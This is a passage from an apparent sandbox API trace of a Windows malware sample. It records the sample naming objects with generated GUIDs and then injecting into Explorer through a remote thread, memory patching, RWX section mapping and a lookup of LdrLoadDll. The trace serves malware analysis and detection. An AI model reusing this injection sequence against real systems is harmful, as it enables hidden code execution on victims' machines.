param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0040.824] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0040.824] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x30) returned 0x25bd910 [0040.825] lstrcpyA (in: lpString1=0x25bd910, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0040.825] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0040.825] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.825] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0040.825] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x3b) returned 0x25bd950 [0040.825] lstrcpyA (in: lpString1=0x25bd950, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0040.825] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0040.825] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.825] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0040.825] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x3b) returned 0x25bd9a0 [0040.825] lstrcpyA (in: lpString1=0x25bd9a0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0040.825] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0040.825] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.825] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0040.825] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x3b) returned 0x25bd9f0 [0040.825] lstrcpyA (in: lpString1=0x25bd9f0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0040.825] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0040.825] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.825] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0040.825] lstrlenA (lpString="Local\\") returned 6 [0040.825] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bda40 [0040.825] lstrcpyA (in: lpString1=0x25bda40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.825] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0040.825] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.826] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0040.826] lstrlenA (lpString="Local\\") returned 6 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bda80 [0040.826] lstrcpyA (in: lpString1=0x25bda80, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.826] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0040.826] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.826] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0040.826] lstrlenA (lpString="Local\\") returned 6 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bdac0 [0040.826] lstrcpyA (in: lpString1=0x25bdac0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.826] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0040.826] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.826] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0040.826] lstrlenA (lpString="Local\\") returned 6 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x2d) returned 0x25bdb00 [0040.826] lstrcpyA (in: lpString1=0x25bdb00, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0040.826] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0040.826] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bd500 [0040.826] wsprintfA (in: param_1=0x25bd500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CA9790ED-A124-8CF5-7B9E-6580DFB269B4}") returned 38 [0040.826] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x27) returned 0x25bdb40 [0040.826] lstrcatA (in: lpString1="", lpString2="{CA9790ED-A124-8CF5-7B9E-6580DFB269B4}" | out: lpString1="{CA9790ED-A124-8CF5-7B9E-6580DFB269B4}") returned="{CA9790ED-A124-8CF5-7B9E-6580DFB269B4}" [0040.826] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bd500 | out: hHeap=0x21c0000) returned 1 [0040.826] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0040.826] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0040.826] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0040.826] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x27fad0 | out: lpdwProcessId=0x27fad0) returned 0x45c [0040.827] lstrlenW (lpString="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe") returned 53 [0040.827] GetCurrentProcessId () returned 0xae4 [0040.827] CreateEventA (lpEventAttributes=0x2068880, bManualReset=1, bInitialState=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x12c [0040.827] GetLastError () returned 0x0 [0040.827] CloseHandle (hObject=0x12c) returned 1 [0040.827] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x458) returned 0x12c [0040.827] IsWow64Process (in: hProcess=0x12c, Wow64Process=0x27fa70 | out: Wow64Process=0x27fa70) returned 1 [0040.827] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0040.827] GetProcAddress (hModule=0x77160000, lpProcName="RtlExitUserThread") returned 0x771a6930 [0040.827] CreateRemoteThread (in: hProcess=0x12c, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x771a6930, lpParameter=0x0, dwCreationFlags=0x4, lpThreadId=0x27fab4 | out: lpThreadId=0x27fab4*=0xaf0) returned 0x130 [0041.960] IsWow64Process (in: hProcess=0x12c, Wow64Process=0x27f520 | out: Wow64Process=0x27f520) returned 1 [0041.960] NtReadVirtualMemory (in: ProcessHandle=0x12c, BaseAddress=0x771a6930, Buffer=0x27f540, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x27f548 | out: Buffer=0x27f540*, NumberOfBytesRead=0x27f548*=0x4) returned 0x0 [0041.960] VirtualProtectEx (in: hProcess=0x12c, lpAddress=0x771a6930, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27fa68 | out: lpflOldProtect=0x27fa68*=0x20) returned 1 [0042.054] NtWriteVirtualMemory (in: ProcessHandle=0x12c, BaseAddress=0x771a6930, Buffer=0x27fa78*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x27f4f0 | out: Buffer=0x27fa78*, NumberOfBytesWritten=0x27f4f0*=0x4) returned 0x0 [0042.146] VirtualProtectEx (in: hProcess=0x12c, lpAddress=0x771a6930, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x27fa68 | out: lpflOldProtect=0x27fa68*=0x40) returned 1 [0042.147] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.147] GetProcAddress (hModule=0x77040000, lpProcName="ResumeThread") returned 0x770513a0 [0042.147] ResumeThread (hThread=0x130) returned 0x1 [0042.261] Sleep (dwMilliseconds=0x64) [0042.369] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.369] GetProcAddress (hModule=0x77040000, lpProcName="SuspendThread") returned 0x77042f60 [0042.370] SuspendThread (hThread=0x130) returned 0x0 [0042.370] NtGetContextThread (in: ThreadHandle=0x130, Context=0x27f550 | out: Context=0x27f550*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x77056520, Rcx=0x0, Rdx=0x771a6930, Rbx=0x0, Rsp=0x6adfef8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x771a6930, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x771a6930, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0042.370] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.370] NtCreateSection (in: SectionHandle=0x27f458, DesiredAccess=0xf001f, ObjectAttributes=0x27f490*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x27f460, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x27f458*=0x134) returned 0x0 [0042.370] NtMapViewOfSection (in: SectionHandle=0x134, ProcessHandle=0xffffffffffffffff, BaseAddress=0x27f450*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x27f418*=0, ViewSize=0x27f3e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x27f450*=0x2670000, SectionOffset=0x27f418*=0, ViewSize=0x27f3e0*=0x136000) returned 0x0 [0042.370] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.384] NtMapViewOfSection (in: SectionHandle=0x134, ProcessHandle=0x12c, BaseAddress=0x27f440*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x27f418*=0, ViewSize=0x27f3e0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x27f440*=0x94b0000, SectionOffset=0x27f418*=0, ViewSize=0x27f3e0*=0x136000) returned 0x0 [0042.385] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.392] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0042.392] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x208) returned 0x25bdb70 [0042.392] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x25bdb70, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0042.392] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0042.395] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0042.396] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA 